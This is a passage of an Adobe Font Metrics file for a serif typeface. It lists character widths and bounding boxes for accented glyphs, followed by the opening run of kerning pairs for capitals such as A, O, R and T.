C 242 ; WX 500 ; N ograve ; B 29 -10 470 678 ;
C -1 ; WX 667 ; N Ccaron ; B 28 -14 633 886 ;
C 249 ; WX 500 ; N ugrave ; B 9 -10 479 678 ;
C -1 ; WX 453 ; N radical ; B 2 -60 452 768 ;
C -1 ; WX 722 ; N Dcaron ; B 16 0 685 886 ;
C -1 ; WX 333 ; N rcommaaccent ; B 5 -218 335 460 ;
C 209 ; WX 722 ; N Ntilde ; B 12 -11 707 850 ;
C 245 ; WX 500 ; N otilde ; B 29 -10 470 638 ;
C -1 ; WX 667 ; N Rcommaaccent ; B 17 -198 659 662 ;
C -1 ; WX 611 ; N Lcommaaccent ; B 12 -218 598 662 ;
C 195 ; WX 722 ; N Atilde ; B 15 0 706 850 ;
C -1 ; WX 722 ; N Aogonek ; B 15 -165 738 674 ;
C 197 ; WX 722 ; N Aring ; B 15 0 706 898 ;
C 213 ; WX 722 ; N Otilde ; B 34 -14 688 850 ;
C -1 ; WX 444 ; N zdotaccent ; B 27 0 418 623 ;
C -1 ; WX 611 ; N Ecaron ; B 12 0 597 886 ;
C -1 ; WX 333 ; N Iogonek ; B 18 -165 315 662 ;
C -1 ; WX 500 ; N kcommaaccent ; B 7 -218 505 683 ;
C -1 ; WX 564 ; N minus ; B 30 220 534 286 ;
C 206 ; WX 333 ; N Icircumflex ; B 11 0 322 886 ;
C -1 ; WX 500 ; N ncaron ; B 16 0 485 674 ;
C -1 ; WX 278 ; N tcommaaccent ; B 13 -218 279 579 ;
C 172 ; WX 564 ; N logicalnot ; B 30 108 534 386 ;
C 246 ; WX 500 ; N odieresis ; B 29 -10 470 623 ;
C 252 ; WX 500 ; N udieresis ; B 9 -10 479 623 ;
C -1 ; WX 549 ; N notequal ; B 12 -31 537 547 ;
C -1 ; WX 500 ; N gcommaaccent ; B 28 -218 470 749 ;
C 240 ; WX 500 ; N eth ; B 29 -10 471 686 ;
C 158 ; WX 444 ; N zcaron ; B 27 0 418 674 ;
C -1 ; WX 500 ; N ncommaaccent ; B 16 -218 485 460 ;
C 185 ; WX 300 ; N onesuperior ; B 57 270 248 676 ;
C -1 ; WX 278 ; N imacron ; B 6 0 271 601 ;
C 128 ; WX 500 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2073
KPX A C -40
KPX A Cacute -40
KPX A Ccaron -40
KPX A Ccedilla -40
KPX A G -40
KPX A Gbreve -40
KPX A Gcommaaccent -40
KPX A O -55
KPX A Oacute -55
KPX A Ocircumflex -55
KPX A Odieresis -55
KPX A Ograve -55
KPX A Ohungarumlaut -55
KPX A Omacron -55
KPX A Oslash -55
KPX A Otilde -55
KPX A Q -55
KPX A T -111
KPX A Tcaron -111
KPX A Tcommaaccent -111
KPX A U -55
KPX A Uacute -55
KPX A Ucircumflex -55
KPX A Udieresis -55
KPX A Ugrave -55
KPX A Uhungarumlaut -55
KPX A Umacron -55
KPX A Uogonek -55
KPX A Uring -55
KPX A V -135
KPX A W -90
KPX A Y -105
KPX A Yacute -105
KPX A Ydieresis -105
KPX A quoteright -111
KPX A v -74
KPX A w -92
KPX A y -92
KPX A yacute -92
KPX A ydieresis -92
KPX Aacute C -40
KPX Aacute Cacute -40
KPX Aacute Ccaron -40
KPX Aacute Ccedilla -40
KPX Aacute G -40
KPX Aacute Gbreve -40
KPX Aacute Gcommaaccent -40
KPX Aacute O -55
KPX Aacute Oacute -55
KPX Aacute Ocircumflex -55
KPX Aacute Odieresis -55
KPX Aacute Ograve -55
KPX Aacute Ohungarumlaut -55
KPX Aacute Omacron -55
KPX Aacute Oslash -55
KPX Aacute Otilde -55
KPX Aacute Q -55
KPX Aacute T -111
KPX Aacute Tcaron -111
KPX Aacute Tcommaaccent -111
KPX Aacute U -55
KPX Aacute Uacute -55
KPX Aacute Ucircumflex -55
KPX Aacute Udieresis -55
KPX Aacute Ugrave -55
KPX Aacute Uhungarumlaut -55
KPX Aacute Umacron -55
KPX Aacute Uogonek -55
KPX Aacute Uring -55
KPX Aacute V -135
KPX Aacute W -90
KPX Aacute Y -105
KPX Aacute Yacute -105
KPX Aacute Ydieresis -105
KPX Aacute quoteright -111
KPX Aacute v -74
KPX Aacute w -92
KPX Aacute y -92
KPX Aacute yacute -92
KPX Aacute ydieresis -92
KPX Abreve C -40
KPX Abreve Cacute -40
KPX Abreve Ccaron -40
KPX Abreve Ccedilla -40
KPX Abreve G -40
KPX Abreve Gbreve -40
KPX Abreve Gcommaaccent -40
KPX Abreve O -55
KPX Abreve Oacute -55
KPX Abreve Ocircumflex -55
KPX Abreve Odieresis -55
KPX Abreve Ograve -55
KPX Abreve Ohungarumlaut -55
KPX Abreve Omacron -55
KPX Abreve Oslash -55
KPX Abreve Otilde -55
KPX Abreve Q -55
KPX Abreve T -111
KPX Abreve Tcaron -111
KPX Abreve Tcommaaccent -111
KPX Abreve U -55
KPX Abreve Uacute -55
KPX Abreve Ucircumflex -55
KPX Abreve Udieresis -55
KPX Abreve Ugrave -55
KPX Abreve Uhungarumlaut -55
KPX Abreve Umacron -55
KPX Abreve Uogonek -55
KPX Abreve Uring -55
KPX Abreve V -135
KPX Abreve W -90
KPX Abreve Y -105
KPX Abreve Yacute -105
KPX Abreve Ydieresis -105
KPX Abreve quoteright -111
KPX Abreve v -74
KPX Abreve w -92
KPX Abreve y -92
KPX Abreve yacute -92
KPX Abreve ydieresis -92
KPX Acircumflex C -40
KPX Acircumflex Cacute -40
KPX Acircumflex Ccaron -40
KPX Acircumflex Ccedilla -40
KPX Acircumflex G -40
KPX Acircumflex Gbreve -40
KPX Acircumflex Gcommaaccent -40
KPX Acircumflex O -55
KPX Acircumflex Oacute -55
KPX Acircumflex Ocircumflex -55
KPX Acircumflex Odieresis -55
KPX Acircumflex Ograve -55
KPX Acircumflex Ohungarumlaut -55
KPX Acircumflex Omacron -55
KPX Acircumflex Oslash -55
KPX Acircumflex Otilde -55
KPX Acircumflex Q -55
KPX Acircumflex T -111
KPX Acircumflex Tcaron -111
KPX Acircumflex Tcommaaccent -111
KPX Acircumflex U -55
KPX Acircumflex Uacute -55
KPX Acircumflex Ucircumflex -55
KPX Acircumflex Udieresis -55
KPX Acircumflex Ugrave -55
KPX Acircumflex Uhungarumlaut -55
KPX Acircumflex Umacron -55
KPX Acircumflex Uogonek -55
KPX Acircumflex Uring -55
KPX Acircumflex V -135
KPX Acircumflex W -90
KPX Acircumflex Y -105
KPX Acircumflex Yacute -105
KPX Acircumflex Ydieresis -105
KPX Acircumflex quoteright -111
KPX Acircumflex v -74
KPX Acircumflex w -92
KPX Acircumflex y -92
KPX Acircumflex yacute -92
KPX Acircumflex ydieresis -92
KPX Adieresis C -40
KPX Adieresis Cacute -40
KPX Adieresis Ccaron -40
KPX Adieresis Ccedilla -40
KPX Adieresis G -40
KPX Adieresis Gbreve -40
KPX Adieresis Gcommaaccent -40
KPX Adieresis O -55
KPX Adieresis Oacute -55
KPX Adieresis Ocircumflex -55
KPX Adieresis Odieresis -55
KPX Adieresis Ograve -55
KPX Adieresis Ohungarumlaut -55
KPX Adieresis Omacron -55
KPX Adieresis Oslash -55
KPX Adieresis Otilde -55
KPX Adieresis Q -55
KPX Adieresis T -111
KPX Adieresis Tcaron -111
KPX Adieresis Tcommaaccent -111
KPX Adieresis U -55
KPX Adieresis Uacute -55
KPX Adieresis Ucircumflex -55
KPX Adieresis Udieresis -55
KPX Adieresis Ugrave -55
KPX Adieresis Uhungarumlaut -55
KPX Adieresis Umacron -55
KPX Adieresis Uogonek -55
KPX Adieresis Uring -55
KPX Adieresis V -135
KPX Adieresis W -90
KPX Adieresis Y -105
KPX Adieresis Yacute -105
KPX Adieresis Ydieresis -105
KPX Adieresis quoteright -111
KPX Adieresis v -74
KPX Adieresis w -92
KPX Adieresis y -92
KPX Adieresis yacute -92
KPX Adieresis ydieresis -92
KPX Agrave C -40
KPX Agrave Cacute -40
KPX Agrave Ccaron -40
KPX Agrave Ccedilla -40
KPX Agrave G -40
KPX Agrave Gbreve -40
KPX Agrave Gcommaaccent -40
KPX Agrave O -55
KPX Agrave Oacute -55
KPX Agrave Ocircumflex -55
KPX Agrave Odieresis -55
KPX Agrave Ograve -55
KPX Agrave Ohungarumlaut -55
KPX Agrave Omacron -55
KPX Agrave Oslash -55
KPX Agrave Otilde -55
KPX Agrave Q -55
KPX Agrave T -111
KPX Agrave Tcaron -111
KPX Agrave Tcommaaccent -111
KPX Agrave U -55
KPX Agrave Uacute -55
KPX Agrave Ucircumflex -55
KPX Agrave Udieresis -55
KPX Agrave Ugrave -55
KPX Agrave Uhungarumlaut -55
KPX Agrave Umacron -55
KPX Agrave Uogonek -55
KPX Agrave Uring -55
KPX Agrave V -135
KPX Agrave W -90
KPX Agrave Y -105
KPX Agrave Yacute -105
KPX Agrave Ydieresis -105
KPX Agrave quoteright -111
KPX Agrave v -74
KPX Agrave w -92
KPX Agrave y -92
KPX Agrave yacute -92
KPX Agrave ydieresis -92
KPX Amacron C -40
KPX Amacron Cacute -40
KPX Amacron Ccaron -40
KPX Amacron Ccedilla -40
KPX Amacron G -40
KPX Amacron Gbreve -40
KPX Amacron Gcommaaccent -40
KPX Amacron O -55
KPX Amacron Oacute -55
KPX Amacron Ocircumflex -55
KPX Amacron Odieresis -55
KPX Amacron Ograve -55
KPX Amacron Ohungarumlaut -55
KPX Amacron Omacron -55
KPX Amacron Oslash -55
KPX Amacron Otilde -55
KPX Amacron Q -55
KPX Amacron T -111
KPX Amacron Tcaron -111
KPX Amacron Tcommaaccent -111
KPX Amacron U -55
KPX Amacron Uacute -55
KPX Amacron Ucircumflex -55
KPX Amacron Udieresis -55
KPX Amacron Ugrave -55
KPX Amacron Uhungarumlaut -55
KPX Amacron Umacron -55
KPX Amacron Uogonek -55
KPX Amacron Uring -55
KPX Amacron V -135
KPX Amacron W -90
KPX Amacron Y -105
KPX Amacron Yacute -105
KPX Amacron Ydieresis -105
KPX Amacron quoteright -111
KPX Amacron v -74
KPX Amacron w -92
KPX Amacron y -92
KPX Amacron yacute -92
KPX Amacron ydieresis -92
KPX Aogonek C -40
KPX Aogonek Cacute -40
KPX Aogonek Ccaron -40
KPX Aogonek Ccedilla -40
KPX Aogonek G -40
KPX Aogonek Gbreve -40
KPX Aogonek Gcommaaccent -40
KPX Aogonek O -55
KPX Aogonek Oacute -55
KPX Aogonek Ocircumflex -55
KPX Aogonek Odieresis -55
KPX Aogonek Ograve -55
KPX Aogonek Ohungarumlaut -55
KPX Aogonek Omacron -55
KPX Aogonek Oslash -55
KPX Aogonek Otilde -55
KPX Aogonek Q -55
KPX Aogonek T -111
KPX Aogonek Tcaron -111
KPX Aogonek Tcommaaccent -111
KPX Aogonek U -55
KPX Aogonek Uacute -55
KPX Aogonek Ucircumflex -55
KPX Aogonek Udieresis -55
KPX Aogonek Ugrave -55
KPX Aogonek Uhungarumlaut -55
KPX Aogonek Umacron -55
KPX Aogonek Uogonek -55
KPX Aogonek Uring -55
KPX Aogonek V -135
KPX Aogonek W -90
KPX Aogonek Y -105
KPX Aogonek Yacute -105
KPX Aogonek Ydieresis -105
KPX Aogonek quoteright -111
KPX Aogonek v -74
KPX Aogonek w -52
KPX Aogonek y -52
KPX Aogonek yacute -52
KPX Aogonek ydieresis -52
KPX Aring C -40
KPX Aring Cacute -40
KPX Aring Ccaron -40
KPX Aring Ccedilla -40
KPX Aring G -40
KPX Aring Gbreve -40
KPX Aring Gcommaaccent -40
KPX Aring O -55
KPX Aring Oacute -55
KPX Aring Ocircumflex -55
KPX Aring Odieresis -55
KPX Aring Ograve -55
KPX Aring Ohungarumlaut -55
KPX Aring Omacron -55
KPX Aring Oslash -55
KPX Aring Otilde -55
KPX Aring Q -55
KPX Aring T -111
KPX Aring Tcaron -111
KPX Aring Tcommaaccent -111
KPX Aring U -55
KPX Aring Uacute -55
KPX Aring Ucircumflex -55
KPX Aring Udieresis -55
KPX Aring Ugrave -55
KPX Aring Uhungarumlaut -55
KPX Aring Umacron -55
KPX Aring Uogonek -55
KPX Aring Uring -55
KPX Aring V -135
KPX Aring W -90
KPX Aring Y -105
KPX Aring Yacute -105
KPX Aring Ydieresis -105
KPX Aring quoteright -111
KPX Aring v -74
KPX Aring w -92
KPX Aring y -92
KPX Aring yacute -92
KPX Aring ydieresis -92
KPX Atilde C -40
KPX Atilde Cacute -40
KPX Atilde Ccaron -40
KPX Atilde Ccedilla -40
KPX Atilde G -40
KPX Atilde Gbreve -40
KPX Atilde Gcommaaccent -40
KPX Atilde O -55
KPX Atilde Oacute -55
KPX Atilde Ocircumflex -55
KPX Atilde Odieresis -55
KPX Atilde Ograve -55
KPX Atilde Ohungarumlaut -55
KPX Atilde Omacron -55
KPX Atilde Oslash -55
KPX Atilde Otilde -55
KPX Atilde Q -55
KPX Atilde T -111
KPX Atilde Tcaron -111
KPX Atilde Tcommaaccent -111
KPX Atilde U -55
KPX Atilde Uacute -55
KPX Atilde Ucircumflex -55
KPX Atilde Udieresis -55
KPX Atilde Ugrave -55
KPX Atilde Uhungarumlaut -55
KPX Atilde Umacron -55
KPX Atilde Uogonek -55
KPX Atilde Uring -55
KPX Atilde V -135
KPX Atilde W -90
KPX Atilde Y -105
KPX Atilde Yacute -105
KPX Atilde Ydieresis -105
KPX Atilde quoteright -111
KPX Atilde v -74
KPX Atilde w -92
KPX Atilde y -92
KPX Atilde yacute -92
KPX Atilde ydieresis -92
KPX B A -35
KPX B Aacute -35
KPX B Abreve -35
KPX B Acircumflex -35
KPX B Adieresis -35
KPX B Agrave -35
KPX B Amacron -35
KPX B Aogonek -35
KPX B Aring -35
KPX B Atilde -35
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX D A -40
KPX D Aacute -40
KPX D Abreve -40
KPX D Acircumflex -40
KPX D Adieresis -40
KPX D Agrave -40
KPX D Amacron -40
KPX D Aogonek -40
KPX D Aring -40
KPX D Atilde -40
KPX D V -40
KPX D W -30
KPX D Y -55
KPX D Yacute -55
KPX D Ydieresis -55
KPX Dcaron A -40
KPX Dcaron Aacute -40
KPX Dcaron Abreve -40
KPX Dcaron Acircumflex -40
KPX Dcaron Adieresis -40
KPX Dcaron Agrave -40
KPX Dcaron Amacron -40
KPX Dcaron Aogonek -40
KPX Dcaron Aring -40
KPX Dcaron Atilde -40
KPX Dcaron V -40
KPX Dcaron W -30
KPX Dcaron Y -55
KPX Dcaron Yacute -55
KPX Dcaron Ydieresis -55
KPX Dcroat A -40
KPX Dcroat Aacute -40
KPX Dcroat Abreve -40
KPX Dcroat Acircumflex -40
KPX Dcroat Adieresis -40
KPX Dcroat Agrave -40
KPX Dcroat Amacron -40
KPX Dcroat Aogonek -40
KPX Dcroat Aring -40
KPX Dcroat Atilde -40
KPX Dcroat V -40
KPX Dcroat W -30
KPX Dcroat Y -55
KPX Dcroat Yacute -55
KPX Dcroat Ydieresis -55
KPX F A -74
KPX F Aacute -74
KPX F Abreve -74
KPX F Acircumflex -74
KPX F Adieresis -74
KPX F Agrave -74
KPX F Amacron -74
KPX F Aogonek -74
KPX F Aring -74
KPX F Atilde -74
KPX F a -15
KPX F aacute -15
KPX F abreve -15
KPX F acircumflex -15
KPX F adieresis -15
KPX F agrave -15
KPX F amacron -15
KPX F aogonek -15
KPX F aring -15
KPX F atilde -15
KPX F comma -80
KPX F o -15
KPX F oacute -15
KPX F ocircumflex -15
KPX F odieresis -15
KPX F ograve -15
KPX F ohungarumlaut -15
KPX F omacron -15
KPX F oslash -15
KPX F otilde -15
KPX F period -80
KPX J A -60
KPX J Aacute -60
KPX J Abreve -60
KPX J Acircumflex -60
KPX J Adieresis -60
KPX J Agrave -60
KPX J Amacron -60
KPX J Aogonek -60
KPX J Aring -60
KPX J Atilde -60
KPX K O -30
KPX K Oacute -30
KPX K Ocircumflex -30
KPX K Odieresis -30
KPX K Ograve -30
KPX K Ohungarumlaut -30
KPX K Omacron -30
KPX K Oslash -30
KPX K Otilde -30
KPX K e -25
KPX K eacute -25
KPX K ecaron -25
KPX K ecircumflex -25
KPX K edieresis -25
KPX K edotaccent -25
KPX K egrave -25
KPX K emacron -25
KPX K eogonek -25
KPX K o -35
KPX K oacute -35
KPX K ocircumflex -35
KPX K odieresis -35
KPX K ograve -35
KPX K ohungarumlaut -35
KPX K omacron -35
KPX K oslash -35
KPX K otilde -35
KPX K u -15
KPX K uacute -15
KPX K ucircumflex -15
KPX K udieresis -15
KPX K ugrave -15
KPX K uhungarumlaut -15
KPX K umacron -15
KPX K uogonek -15
KPX K uring -15
KPX K y -25
KPX K yacute -25
KPX K ydieresis -25
KPX Kcommaaccent O -30
KPX Kcommaaccent Oacute -30
KPX Kcommaaccent Ocircumflex -30
KPX Kcommaaccent Odieresis -30
KPX Kcommaaccent Ograve -30
KPX Kcommaaccent Ohungarumlaut -30
KPX Kcommaaccent Omacron -30
KPX Kcommaaccent Oslash -30
KPX Kcommaaccent Otilde -30
KPX Kcommaaccent e -25
KPX Kcommaaccent eacute -25
KPX Kcommaaccent ecaron -25
KPX Kcommaaccent ecircumflex -25
KPX Kcommaaccent edieresis -25
KPX Kcommaaccent edotaccent -25
KPX Kcommaaccent egrave -25
KPX Kcommaaccent emacron -25
KPX Kcommaaccent eogonek -25
KPX Kcommaaccent o -35
KPX Kcommaaccent oacute -35
KPX Kcommaaccent ocircumflex -35
KPX Kcommaaccent odieresis -35
KPX Kcommaaccent ograve -35
KPX Kcommaaccent ohungarumlaut -35
KPX Kcommaaccent omacron -35
KPX Kcommaaccent oslash -35
KPX Kcommaaccent otilde -35
KPX Kcommaaccent u -15
KPX Kcommaaccent uacute -15
KPX Kcommaaccent ucircumflex -15
KPX Kcommaaccent udieresis -15
KPX Kcommaaccent ugrave -15
KPX Kcommaaccent uhungarumlaut -15
KPX Kcommaaccent umacron -15
KPX Kcommaaccent uogonek -15
KPX Kcommaaccent uring -15
KPX Kcommaaccent y -25
KPX Kcommaaccent yacute -25
KPX Kcommaaccent ydieresis -25
KPX L T -92
KPX L Tcaron -92
KPX L Tcommaaccent -92
KPX L V -100
KPX L W -74
KPX L Y -100
KPX L Yacute -100
KPX L Ydieresis -100
KPX L quoteright -92
KPX L y -55
KPX L yacute -55
KPX L ydieresis -55
KPX Lacute T -92
KPX Lacute Tcaron -92
KPX Lacute Tcommaaccent -92
KPX Lacute V -100
KPX Lacute W -74
KPX Lacute Y -100
KPX Lacute Yacute -100
KPX Lacute Ydieresis -100
KPX Lacute quoteright -92
KPX Lacute y -55
KPX Lacute yacute -55
KPX Lacute ydieresis -55
KPX Lcaron quoteright -92
KPX Lcaron y -55
KPX Lcaron yacute -55
KPX Lcaron ydieresis -55
KPX Lcommaaccent T -92
KPX Lcommaaccent Tcaron -92
KPX Lcommaaccent Tcommaaccent -92
KPX Lcommaaccent V -100
KPX Lcommaaccent W -74
KPX Lcommaaccent Y -100
KPX Lcommaaccent Yacute -100
KPX Lcommaaccent Ydieresis -100
KPX Lcommaaccent quoteright -92
KPX Lcommaaccent y -55
KPX Lcommaaccent yacute -55
KPX Lcommaaccent ydieresis -55
KPX Lslash T -92
KPX Lslash Tcaron -92
KPX Lslash Tcommaaccent -92
KPX Lslash V -100
KPX Lslash W -74
KPX Lslash Y -100
KPX Lslash Yacute -100
KPX Lslash Ydieresis -100
KPX Lslash quoteright -92
KPX Lslash y -55
KPX Lslash yacute -55
KPX Lslash ydieresis -55
KPX N A -35
KPX N Aacute -35
KPX N Abreve -35
KPX N Acircumflex -35
KPX N Adieresis -35
KPX N Agrave -35
KPX N Amacron -35
KPX N Aogonek -35
KPX N Aring -35
KPX N Atilde -35
KPX Nacute A -35
KPX Nacute Aacute -35
KPX Nacute Abreve -35
KPX Nacute Acircumflex -35
KPX Nacute Adieresis -35
KPX Nacute Agrave -35
KPX Nacute Amacron -35
KPX Nacute Aogonek -35
KPX Nacute Aring -35
KPX Nacute Atilde -35
KPX Ncaron A -35
KPX Ncaron Aacute -35
KPX Ncaron Abreve -35
KPX Ncaron Acircumflex -35
KPX Ncaron Adieresis -35
KPX Ncaron Agrave -35
KPX Ncaron Amacron -35
KPX Ncaron Aogonek -35
KPX Ncaron Aring -35
KPX Ncaron Atilde -35
KPX Ncommaaccent A -35
KPX Ncommaaccent Aacute -35
KPX Ncommaaccent Abreve -35
KPX Ncommaaccent Acircumflex -35
KPX Ncommaaccent Adieresis -35
KPX Ncommaaccent Agrave -35
KPX Ncommaaccent Amacron -35
KPX Ncommaaccent Aogonek -35
KPX Ncommaaccent Aring -35
KPX Ncommaaccent Atilde -35
KPX Ntilde A -35
KPX Ntilde Aacute -35
KPX Ntilde Abreve -35
KPX Ntilde Acircumflex -35
KPX Ntilde Adieresis -35
KPX Ntilde Agrave -35
KPX Ntilde Amacron -35
KPX Ntilde Aogonek -35
KPX Ntilde Aring -35
KPX Ntilde Atilde -35
KPX O A -35
KPX O Aacute -35
KPX O Abreve -35
KPX O Acircumflex -35
KPX O Adieresis -35
KPX O Agrave -35
KPX O Amacron -35
KPX O Aogonek -35
KPX O Aring -35
KPX O Atilde -35
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -35
KPX O X -40
KPX O Y -50
KPX O Yacute -50
KPX O Ydieresis -50
KPX Oacute A -35
KPX Oacute Aacute -35
KPX Oacute Abreve -35
KPX Oacute Acircumflex -35
KPX Oacute Adieresis -35
KPX Oacute Agrave -35
KPX Oacute Amacron -35
KPX Oacute Aogonek -35
KPX Oacute Aring -35
KPX Oacute Atilde -35
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -35
KPX Oacute X -40
KPX Oacute Y -50
KPX Oacute Yacute -50
KPX Oacute Ydieresis -50
KPX Ocircumflex A -35
KPX Ocircumflex Aacute -35
KPX Ocircumflex Abreve -35
KPX Ocircumflex Acircumflex -35
KPX Ocircumflex Adieresis -35
KPX Ocircumflex Agrave -35
KPX Ocircumflex Amacron -35
KPX Ocircumflex Aogonek -35
KPX Ocircumflex Aring -35
KPX Ocircumflex Atilde -35
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -35
KPX Ocircumflex X -40
KPX Ocircumflex Y -50
KPX Ocircumflex Yacute -50
KPX Ocircumflex Ydieresis -50
KPX Odieresis A -35
KPX Odieresis Aacute -35
KPX Odieresis Abreve -35
KPX Odieresis Acircumflex -35
KPX Odieresis Adieresis -35
KPX Odieresis Agrave -35
KPX Odieresis Amacron -35
KPX Odieresis Aogonek -35
KPX Odieresis Aring -35
KPX Odieresis Atilde -35
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -35
KPX Odieresis X -40
KPX Odieresis Y -50
KPX Odieresis Yacute -50
KPX Odieresis Ydieresis -50
KPX Ograve A -35
KPX Ograve Aacute -35
KPX Ograve Abreve -35
KPX Ograve Acircumflex -35
KPX Ograve Adieresis -35
KPX Ograve Agrave -35
KPX Ograve Amacron -35
KPX Ograve Aogonek -35
KPX Ograve Aring -35
KPX Ograve Atilde -35
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -35
KPX Ograve X -40
KPX Ograve Y -50
KPX Ograve Yacute -50
KPX Ograve Ydieresis -50
KPX Ohungarumlaut A -35
KPX Ohungarumlaut Aacute -35
KPX Ohungarumlaut Abreve -35
KPX Ohungarumlaut Acircumflex -35
KPX Ohungarumlaut Adieresis -35
KPX Ohungarumlaut Agrave -35
KPX Ohungarumlaut Amacron -35
KPX Ohungarumlaut Aogonek -35
KPX Ohungarumlaut Aring -35
KPX Ohungarumlaut Atilde -35
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -35
KPX Ohungarumlaut X -40
KPX Ohungarumlaut Y -50
KPX Ohungarumlaut Yacute -50
KPX Ohungarumlaut Ydieresis -50
KPX Omacron A -35
KPX Omacron Aacute -35
KPX Omacron Abreve -35
KPX Omacron Acircumflex -35
KPX Omacron Adieresis -35
KPX Omacron Agrave -35
KPX Omacron Amacron -35
KPX Omacron Aogonek -35
KPX Omacron Aring -35
KPX Omacron Atilde -35
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -35
KPX Omacron X -40
KPX Omacron Y -50
KPX Omacron Yacute -50
KPX Omacron Ydieresis -50
KPX Oslash A -35
KPX Oslash Aacute -35
KPX Oslash Abreve -35
KPX Oslash Acircumflex -35
KPX Oslash Adieresis -35
KPX Oslash Agrave -35
KPX Oslash Amacron -35
KPX Oslash Aogonek -35
KPX Oslash Aring -35
KPX Oslash Atilde -35
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -35
KPX Oslash X -40
KPX Oslash Y -50
KPX Oslash Yacute -50
KPX Oslash Ydieresis -50
KPX Otilde A -35
KPX Otilde Aacute -35
KPX Otilde Abreve -35
KPX Otilde Acircumflex -35
KPX Otilde Adieresis -35
KPX Otilde Agrave -35
KPX Otilde Amacron -35
KPX Otilde Aogonek -35
KPX Otilde Aring -35
KPX Otilde Atilde -35
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -35
KPX Otilde X -40
KPX Otilde Y -50
KPX Otilde Yacute -50
KPX Otilde Ydieresis -50
KPX P A -92
KPX P Aacute -92
KPX P Abreve -92
KPX P Acircumflex -92
KPX P Adieresis -92
KPX P Agrave -92
KPX P Amacron -92
KPX P Aogonek -92
KPX P Aring -92
KPX P Atilde -92
KPX P a -15
KPX P aacute -15
KPX P abreve -15
KPX P acircumflex -15
KPX P adieresis -15
KPX P agrave -15
KPX P amacron -15
KPX P aogonek -15
KPX P aring -15
KPX P atilde -15
KPX P comma -111
KPX P period -111
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX R O -40
KPX R Oacute -40
KPX R Ocircumflex -40
KPX R Odieresis -40
KPX R Ograve -40
KPX R Ohungarumlaut -40
KPX R Omacron -40
KPX R Oslash -40
KPX R Otilde -40
KPX R T -60
KPX R Tcaron -60
KPX R Tcommaaccent -60
KPX R U -40
KPX R Uacute -40
KPX R Ucircumflex -40
KPX R Udieresis -40
KPX R Ugrave -40
KPX R Uhungarumlaut -40
KPX R Umacron -40
KPX R Uogonek -40
KPX R Uring -40
KPX R V -80
KPX R W -55
KPX R Y -65
KPX R Yacute -65
KPX R Ydieresis -65
KPX Racute O -40
KPX Racute Oacute -40
KPX Racute Ocircumflex -40
KPX Racute Odieresis -40
KPX Racute Ograve -40
KPX Racute Ohungarumlaut -40
KPX Racute Omacron -40
KPX Racute Oslash -40
KPX Racute Otilde -40
KPX Racute T -60
KPX Racute Tcaron -60
KPX Racute Tcommaaccent -60
KPX Racute U -40
KPX Racute Uacute -40
KPX Racute Ucircumflex -40
KPX Racute Udieresis -40
KPX Racute Ugrave -40
KPX Racute Uhungarumlaut -40
KPX Racute Umacron -40
KPX Racute Uogonek -40
KPX Racute Uring -40
KPX Racute V -80
KPX Racute W -55
KPX Racute Y -65
KPX Racute Yacute -65
KPX Racute Ydieresis -65
KPX Rcaron O -40
KPX Rcaron Oacute -40
KPX Rcaron Ocircumflex -40
KPX Rcaron Odieresis -40
KPX Rcaron Ograve -40
KPX Rcaron Ohungarumlaut -40
KPX Rcaron Omacron -40
KPX Rcaron Oslash -40
KPX Rcaron Otilde -40
KPX Rcaron T -60
KPX Rcaron Tcaron -60
KPX Rcaron Tcommaaccent -60
KPX Rcaron U -40
KPX Rcaron Uacute -40
KPX Rcaron Ucircumflex -40
KPX Rcaron Udieresis -40
KPX Rcaron Ugrave -40
KPX Rcaron Uhungarumlaut -40
KPX Rcaron Umacron -40
KPX Rcaron Uogonek -40
KPX Rcaron Uring -40
KPX Rcaron V -80
KPX Rcaron W -55
KPX Rcaron Y -65
KPX Rcaron Yacute -65
KPX Rcaron Ydieresis -65
KPX Rcommaaccent O -40
KPX Rcommaaccent Oacute -40
KPX Rcommaaccent Ocircumflex -40
KPX Rcommaaccent Odieresis -40
KPX Rcommaaccent Ograve -40
KPX Rcommaaccent Ohungarumlaut -40
KPX Rcommaaccent Omacron -40
KPX Rcommaaccent Oslash -40
KPX Rcommaaccent Otilde -40
KPX Rcommaaccent T -60
KPX Rcommaaccent Tcaron -60
KPX Rcommaaccent Tcommaaccent -60
KPX Rcommaaccent U -40
KPX Rcommaaccent Uacute -40
KPX Rcommaaccent Ucircumflex -40
KPX Rcommaaccent Udieresis -40
KPX Rcommaaccent Ugrave -40
KPX Rcommaaccent Uhungarumlaut -40
KPX Rcommaaccent Umacron -40
KPX Rcommaaccent Uogonek -40
KPX Rcommaaccent Uring -40
KPX Rcommaaccent V -80
KPX Rcommaaccent W -55
KPX Rcommaaccent Y -65
KPX Rcommaaccent Yacute -65
KPX Rcommaaccent Ydieresis -65
KPX T A -93
KPX T Aacute -93
KPX T Abreve -93
KPX T Acircumflex -93
KPX T Adieresis -93
KPX T Agrave -93
KPX T Amacron -93
KPX T Aogonek -93
KPX T Aring -93
KPX T Atilde -93
KPX T O -18
